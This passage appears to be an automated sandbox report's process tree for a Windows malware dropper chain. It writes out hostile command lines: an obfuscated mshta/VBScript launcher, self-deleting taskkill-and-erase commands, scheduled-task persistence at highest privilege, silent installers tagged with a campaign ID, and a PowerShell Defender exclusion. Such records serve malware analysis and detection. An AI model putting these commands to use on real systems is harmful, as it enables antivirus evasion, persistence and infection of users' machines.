- Suspicious use of AdjustPrivilegeToken
PID:2432
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue202dc71d1d41.exe4⤵PID:672
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue202dc71d1d41.exeTue202dc71d1d41.exe5⤵
- Executes dropped EXE
PID:1524 -
C:\Users\Admin\Pictures\Adobe Films\IwDAYwqZysps1bzLhOzyWmo3.exe"C:\Users\Admin\Pictures\Adobe Films\IwDAYwqZysps1bzLhOzyWmo3.exe"6⤵PID:5064
-
-
C:\Users\Admin\Pictures\Adobe Films\KOU3bQITrVQ9_cBcqyutPh3v.exe"C:\Users\Admin\Pictures\Adobe Films\KOU3bQITrVQ9_cBcqyutPh3v.exe"6⤵PID:5244
-
C:\Users\Admin\Documents\6Xunaqr8pTeSfpbOfxHy0_Vk.exe"C:\Users\Admin\Documents\6Xunaqr8pTeSfpbOfxHy0_Vk.exe"7⤵PID:5304
-
C:\Users\Admin\Pictures\Adobe Films\JhzRlKJ4lPbqdLqhox4gSMQe.exe"C:\Users\Admin\Pictures\Adobe Films\JhzRlKJ4lPbqdLqhox4gSMQe.exe"8⤵PID:6872
-
-
C:\Users\Admin\Pictures\Adobe Films\JHTIe_7oGZpayT5pHCQtf0tj.exe"C:\Users\Admin\Pictures\Adobe Films\JHTIe_7oGZpayT5pHCQtf0tj.exe"8⤵PID:5344
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "JHTIe_7oGZpayT5pHCQtf0tj.exe" /f & erase "C:\Users\Admin\Pictures\Adobe Films\JHTIe_7oGZpayT5pHCQtf0tj.exe" & exit9⤵PID:6668
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "JHTIe_7oGZpayT5pHCQtf0tj.exe" /f10⤵
- Kills process with taskkill
PID:7312
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe"C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe"8⤵PID:5924
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:5768
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\bpUBPsVkkkAxetXzMbkXIEQ7.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:8112
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "bpUBPsVkkkAxetXzMbkXIEQ7.exe"11⤵
- Kills process with taskkill
PID:7720
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\0T6qc8pT01iCuQ4YHGCNt44M.exe"C:\Users\Admin\Pictures\Adobe Films\0T6qc8pT01iCuQ4YHGCNt44M.exe"8⤵PID:5856
-
C:\Users\Admin\Pictures\Adobe Films\0T6qc8pT01iCuQ4YHGCNt44M.exe"C:\Users\Admin\Pictures\Adobe Films\0T6qc8pT01iCuQ4YHGCNt44M.exe" -u9⤵PID:6020
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QKc7ZXOoxHopwMuvdJG2Nqv8.exe"C:\Users\Admin\Pictures\Adobe Films\QKc7ZXOoxHopwMuvdJG2Nqv8.exe"8⤵PID:5804
-
-
C:\Users\Admin\Pictures\Adobe Films\3jwtVv9K1Auo0MjjVx0IBXyO.exe"C:\Users\Admin\Pictures\Adobe Films\3jwtVv9K1Auo0MjjVx0IBXyO.exe"8⤵PID:6696
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵PID:7388
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"10⤵PID:8656
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --monitor-self --monitor-self-argument=--type=crashpad-handler "--monitor-self-argument=--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --monitor-self-argument=/prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x1dc,0x1e0,0x1e4,0x1b8,0x1e8,0x7ffb0764dec0,0x7ffb0764ded0,0x7ffb0764dee011⤵PID:7608
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exeC:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Calculator\User Data" /prefetch:7 --no-periodic-tasks --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Calculator\User Data\Crashpad" --annotation=plat=Win64 --annotation=prod=Calculator --annotation=ver=0.0.13 --initial-client-data=0x11c,0x120,0x124,0xf8,0x128,0x7ff7dca19e70,0x7ff7dca19e80,0x7ff7dca19e9012⤵PID:12140
-
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=1784 /prefetch:811⤵PID:13228
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2672 /prefetch:111⤵PID:13260
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Calculator\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --mojo-platform-channel-handle=2632 /prefetch:111⤵PID:13252
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=2328 /prefetch:811⤵PID:13244
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1736 /prefetch:211⤵PID:13220
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=2896 /prefetch:811⤵PID:13056
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=3652 /prefetch:811⤵PID:7452
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=3080 /prefetch:811⤵PID:6212
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=3116 /prefetch:811⤵PID:13100
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=gpu-process --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=392 /prefetch:211⤵PID:2440
-
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1720,8547580298930326782,10409780041578212857,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Calculator\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw8656_18883901" --mojo-platform-channel-handle=3292 /prefetch:811⤵PID:6664
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\F6XwvyIuBRraIzHzmmiNYJVj.exe"C:\Users\Admin\Pictures\Adobe Films\F6XwvyIuBRraIzHzmmiNYJVj.exe"8⤵PID:6932
-
-
C:\Users\Admin\Pictures\Adobe Films\EEpHDnW0PNr8PPalA_S1sXw2.exe"C:\Users\Admin\Pictures\Adobe Films\EEpHDnW0PNr8PPalA_S1sXw2.exe"8⤵PID:4204
-
C:\Windows\SysWOW64\cmd.execmd.exe /c taskkill /f /im chrome.exe9⤵PID:7516
-
C:\Windows\SysWOW64\taskkill.exetaskkill /f /im chrome.exe10⤵
- Kills process with taskkill
PID:7812
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\kekkuhSOQlPASBMlC06NSYiX.exe"C:\Users\Admin\Pictures\Adobe Films\kekkuhSOQlPASBMlC06NSYiX.exe"8⤵PID:5760
-
C:\Users\Admin\AppData\Local\Temp\is-FTA2P.tmp\kekkuhSOQlPASBMlC06NSYiX.tmp"C:\Users\Admin\AppData\Local\Temp\is-FTA2P.tmp\kekkuhSOQlPASBMlC06NSYiX.tmp" /SL5="$20686,506127,422400,C:\Users\Admin\Pictures\Adobe Films\kekkuhSOQlPASBMlC06NSYiX.exe"9⤵PID:904
-
C:\Users\Admin\AppData\Local\Temp\is-5VR0C.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-5VR0C.tmp\DYbALA.exe" /S /UID=270910⤵PID:7936
-
C:\Users\Admin\AppData\Local\Temp\3b-d23d3-75e-a3997-66efdb926cf35\SHedasikiqae.exe"C:\Users\Admin\AppData\Local\Temp\3b-d23d3-75e-a3997-66efdb926cf35\SHedasikiqae.exe"11⤵PID:6044
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sj33tcrg.unv\GcleanerEU.exe /eufive & exit12⤵PID:11348
-
C:\Users\Admin\AppData\Local\Temp\sj33tcrg.unv\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\sj33tcrg.unv\GcleanerEU.exe /eufive13⤵PID:4176
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\sf2wsumb.dtn\installer.exe /qn CAMPAIGN="654" & exit12⤵PID:12120
-
C:\Users\Admin\AppData\Local\Temp\sf2wsumb.dtn\installer.exeC:\Users\Admin\AppData\Local\Temp\sf2wsumb.dtn\installer.exe /qn CAMPAIGN="654"13⤵PID:12332
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\thkwnbpl.1ut\any.exe & exit12⤵PID:4760
-
C:\Users\Admin\AppData\Local\Temp\thkwnbpl.1ut\any.exeC:\Users\Admin\AppData\Local\Temp\thkwnbpl.1ut\any.exe13⤵PID:12632
-
C:\Users\Admin\AppData\Local\Temp\thkwnbpl.1ut\any.exe"C:\Users\Admin\AppData\Local\Temp\thkwnbpl.1ut\any.exe" -u14⤵PID:12040
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pxfld3an.1zh\gcleaner.exe /mixfive & exit12⤵PID:3196
-
C:\Users\Admin\AppData\Local\Temp\pxfld3an.1zh\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\pxfld3an.1zh\gcleaner.exe /mixfive13⤵PID:12816
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\jmbj1sp2.cui\autosubplayer.exe /S & exit12⤵PID:12444
-
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:6348
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:6328
-
-
-
C:\Users\Admin\Pictures\Adobe Films\Bmj0KsjdUn8aICoW6HHPndvG.exe"C:\Users\Admin\Pictures\Adobe Films\Bmj0KsjdUn8aICoW6HHPndvG.exe"6⤵PID:3188
-
-
C:\Users\Admin\Pictures\Adobe Films\qPkgupgFXS4hY3Q5K9ov3k9W.exe"C:\Users\Admin\Pictures\Adobe Films\qPkgupgFXS4hY3Q5K9ov3k9W.exe"6⤵PID:5052
-
-
C:\Users\Admin\Pictures\Adobe Films\FrvwcNCzsIc9oRRKUCFJl1G2.exe"C:\Users\Admin\Pictures\Adobe Films\FrvwcNCzsIc9oRRKUCFJl1G2.exe"6⤵PID:1672
-
-
C:\Users\Admin\Pictures\Adobe Films\aR6ZZpZe1TuFgCUPBmMBeIuh.exe"C:\Users\Admin\Pictures\Adobe Films\aR6ZZpZe1TuFgCUPBmMBeIuh.exe"6⤵PID:4172
-
C:\Users\Admin\Pictures\Adobe Films\aR6ZZpZe1TuFgCUPBmMBeIuh.exe"C:\Users\Admin\Pictures\Adobe Films\aR6ZZpZe1TuFgCUPBmMBeIuh.exe"7⤵PID:1176
-
-
-
C:\Users\Admin\Pictures\Adobe Films\kRHwNDwOSnLwnMPBV3LaHJbq.exe"C:\Users\Admin\Pictures\Adobe Films\kRHwNDwOSnLwnMPBV3LaHJbq.exe"6⤵PID:6040
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Tue2076b72c2666aa9c.exe4⤵PID:1084
-
C:\Users\Admin\AppData\Local\Temp\7zS41B73DD5\Tue2076b72c2666aa9c.exeTue2076b72c2666aa9c.exe5⤵
- Executes dropped EXE
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
PID:1220 -
C:\Users\Admin\Pictures\Adobe Films\CiEW7P2Vu3VTKRjBabzGFRHM.exe"C:\Users\Admin\Pictures\Adobe Films\CiEW7P2Vu3VTKRjBabzGFRHM.exe"6⤵PID:4636
-
-
C:\Users\Admin\Pictures\Adobe Films\BwWTrYq3hnhPrAmP4ClOqj6z.exe"C:\Users\Admin\Pictures\Adobe Films\BwWTrYq3hnhPrAmP4ClOqj6z.exe"6⤵PID:4788
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4788 -s 14447⤵
- Program crash
PID:2568
-
-
-
C:\Users\Admin\Pictures\Adobe Films\sS_9UP2ajHhAtIp3_YUkIy2W.exe"C:\Users\Admin\Pictures\Adobe Films\sS_9UP2ajHhAtIp3_YUkIy2W.exe"6⤵PID:4440
-
C:\Users\Admin\Documents\VQiymPuovi80gfUolk8vCEV4.exe"C:\Users\Admin\Documents\VQiymPuovi80gfUolk8vCEV4.exe"7⤵PID:3108
-
C:\Users\Admin\Pictures\Adobe Films\NUCrVnHAJckFlykEQs80eFUz.exe"C:\Users\Admin\Pictures\Adobe Films\NUCrVnHAJckFlykEQs80eFUz.exe"8⤵PID:5072
-
-
C:\Users\Admin\Pictures\Adobe Films\S1izry5xQOtZ8Jb6wrt3HIR_.exe"C:\Users\Admin\Pictures\Adobe Films\S1izry5xQOtZ8Jb6wrt3HIR_.exe"8⤵PID:3788
-
-
C:\Users\Admin\Pictures\Adobe Films\LqzzZfggUc44u20vFWGivL7_.exe"C:\Users\Admin\Pictures\Adobe Films\LqzzZfggUc44u20vFWGivL7_.exe"8⤵PID:7076
-
-
C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe"C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe"8⤵PID:5116
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" vbsCrIPT:cLoSE( CrEaTeoBJeCt( "WscRIpT.sHElL" ).Run ( "cmd /R cOpY /Y ""C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe"" ..\kPBhgOaGQk.exe&& sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If """" == """" for %M in (""C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe"" ) do taskkill -f -iM ""%~NxM"" ", 0 , truE) )9⤵PID:6652
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /R cOpY /Y "C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe" ..\kPBhgOaGQk.exe&&sTart ..\kPBhgOAGQK.ExE /PLQtzfgO0m8dRv4iYALOqi &If ""=="" for %M in ("C:\Users\Admin\Pictures\Adobe Films\2uFu0hN_apYMhvtdpXE7ZzMa.exe" ) do taskkill -f -iM "%~NxM"10⤵PID:6152
-
C:\Windows\SysWOW64\taskkill.exetaskkill -f -iM "2uFu0hN_apYMhvtdpXE7ZzMa.exe"11⤵
- Kills process with taskkill
PID:7288
-
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\UjB7DpNVHa5nBJBeJNC7lbgP.exe"C:\Users\Admin\Pictures\Adobe Films\UjB7DpNVHa5nBJBeJNC7lbgP.exe"8⤵PID:6952
-
-
C:\Users\Admin\Pictures\Adobe Films\6l6rnP2r1BSL16lHlpM0WxuS.exe"C:\Users\Admin\Pictures\Adobe Films\6l6rnP2r1BSL16lHlpM0WxuS.exe"8⤵PID:7104
-
-
C:\Users\Admin\Pictures\Adobe Films\lWe0uuxjfkJJnyL7adWBXsJ2.exe"C:\Users\Admin\Pictures\Adobe Films\lWe0uuxjfkJJnyL7adWBXsJ2.exe"8⤵PID:4160
-
C:\Users\Admin\Pictures\Adobe Films\lWe0uuxjfkJJnyL7adWBXsJ2.exe"C:\Users\Admin\Pictures\Adobe Films\lWe0uuxjfkJJnyL7adWBXsJ2.exe" -u9⤵PID:5672
-
-
-
C:\Users\Admin\Pictures\Adobe Films\G4S2_dZ_ezv5k7DcpKwATeQu.exe"C:\Users\Admin\Pictures\Adobe Films\G4S2_dZ_ezv5k7DcpKwATeQu.exe"8⤵PID:872
-
C:\Users\Admin\AppData\Roaming\Calculator\setup.exeC:\Users\Admin\AppData\Roaming\Calculator\setup.exe -cid= -sid= -silent=19⤵PID:1524
-
C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe"C:\Users\Admin\AppData\Roaming\Calculator\Calculator.exe" "--bo6y9QQgnM"10⤵PID:7176
-
-
-
-
C:\Users\Admin\Pictures\Adobe Films\TlzXOnIr1DpRDIJE9Egtl1xk.exe"C:\Users\Admin\Pictures\Adobe Films\TlzXOnIr1DpRDIJE9Egtl1xk.exe"8⤵PID:2564
-
C:\Users\Admin\AppData\Local\Temp\is-M0D9F.tmp\TlzXOnIr1DpRDIJE9Egtl1xk.tmp"C:\Users\Admin\AppData\Local\Temp\is-M0D9F.tmp\TlzXOnIr1DpRDIJE9Egtl1xk.tmp" /SL5="$30386,506127,422400,C:\Users\Admin\Pictures\Adobe Films\TlzXOnIr1DpRDIJE9Egtl1xk.exe"9⤵PID:6836
-
C:\Users\Admin\AppData\Local\Temp\is-R96AT.tmp\DYbALA.exe"C:\Users\Admin\AppData\Local\Temp\is-R96AT.tmp\DYbALA.exe" /S /UID=270910⤵PID:4764
-
C:\Users\Admin\AppData\Local\Temp\f0-9f0d1-aaa-6de97-f54970ec145fd\Temapiloshae.exe"C:\Users\Admin\AppData\Local\Temp\f0-9f0d1-aaa-6de97-f54970ec145fd\Temapiloshae.exe"11⤵PID:6816
-
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exedw20.exe -x -s 222412⤵PID:9696
-
-
-
C:\Users\Admin\AppData\Local\Temp\0f-3ebf2-5f2-318b6-ebcfbaf5688a8\Jycasonanu.exe"C:\Users\Admin\AppData\Local\Temp\0f-3ebf2-5f2-318b6-ebcfbaf5688a8\Jycasonanu.exe"11⤵PID:7080
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\dw1wkpik.exc\GcleanerEU.exe /eufive & exit12⤵PID:11820
-
C:\Users\Admin\AppData\Local\Temp\dw1wkpik.exc\GcleanerEU.exeC:\Users\Admin\AppData\Local\Temp\dw1wkpik.exc\GcleanerEU.exe /eufive13⤵PID:11984
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rljmxluw.eka\installer.exe /qn CAMPAIGN="654" & exit12⤵PID:12188
-
C:\Users\Admin\AppData\Local\Temp\rljmxluw.eka\installer.exeC:\Users\Admin\AppData\Local\Temp\rljmxluw.eka\installer.exe /qn CAMPAIGN="654"13⤵PID:12496
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\way1opsn.znz\any.exe & exit12⤵PID:11440
-
C:\Users\Admin\AppData\Local\Temp\way1opsn.znz\any.exeC:\Users\Admin\AppData\Local\Temp\way1opsn.znz\any.exe13⤵PID:12752
-
C:\Users\Admin\AppData\Local\Temp\way1opsn.znz\any.exe"C:\Users\Admin\AppData\Local\Temp\way1opsn.znz\any.exe" -u14⤵PID:5556
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\1vzci0lj.tmb\gcleaner.exe /mixfive & exit12⤵PID:12364
-
C:\Users\Admin\AppData\Local\Temp\1vzci0lj.tmb\gcleaner.exeC:\Users\Admin\AppData\Local\Temp\1vzci0lj.tmb\gcleaner.exe /mixfive13⤵PID:12904
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ukf2jmjk.tgq\autosubplayer.exe /S & exit12⤵PID:12684
-
-
-
C:\Program Files\Windows Portable Devices\XENKLXXBTU\foldershare.exe"C:\Program Files\Windows Portable Devices\XENKLXXBTU\foldershare.exe" /VERYSILENT11⤵PID:7084
-
-
-
-
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:5080
-
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST7⤵
- Creates scheduled task(s)
PID:4820
-
-
-
C:\Users\Admin\Pictures\Adobe Films\OGItXxtYIBqGo7QcbmKm4TEA.exe"C:\Users\Admin\Pictures\Adobe Films\OGItXxtYIBqGo7QcbmKm4TEA.exe"6⤵PID:4300
-
C:\Program Files (x86)\Company\NewProduct\cutm3.exe"C:\Program Files (x86)\Company\NewProduct\cutm3.exe"7⤵PID:5452
-
-
-
C:\Users\Admin\Pictures\Adobe Films\tmfiNkDqaI7NL6CF_r5RIK1H.exe"C:\Users\Admin\Pictures\Adobe Films\tmfiNkDqaI7NL6CF_r5RIK1H.exe"6⤵PID:4456
-
-
C:\Users\Admin\Pictures\Adobe Films\YBZoQB4zvLffkfphbDquZcxj.exe"C:\Users\Admin\Pictures\Adobe Films\YBZoQB4zvLffkfphbDquZcxj.exe"6⤵PID:4464
-
-
C:\Users\Admin\Pictures\Adobe Films\Fh1FtEXRx3twQiwDDtpQMvtC.exe"C:\Users\Admin\Pictures\Adobe Films\Fh1FtEXRx3twQiwDDtpQMvtC.exe"6⤵PID:5160
-
C:\Users\Admin\Pictures\Adobe Films\Fh1FtEXRx3twQiwDDtpQMvtC.exe"C:\Users\Admin\Pictures\Adobe Films\Fh1FtEXRx3twQiwDDtpQMvtC.exe"7⤵PID:5404
-
-
-
C:\Users\Admin\Pictures\Adobe Films\QHAG7t0pcs3gyiBpT5DfFS5D.exe"C:\Users\Admin\Pictures\Adobe Films\QHAG7t0pcs3gyiBpT5DfFS5D.exe"6⤵PID:5276
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5276 -s 3127⤵
- Program crash
PID:5368
-
-
-
C:\Users\Admin\Pictures\Adobe Films\xRNOSwZ9gZbw8CyLdLzY1O9_.exe"C:\Users\Admin\Pictures\Adobe Films\xRNOSwZ9gZbw8CyLdLzY1O9_.exe"6⤵PID:5312
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath c:\windows\7⤵PID:496
-
-
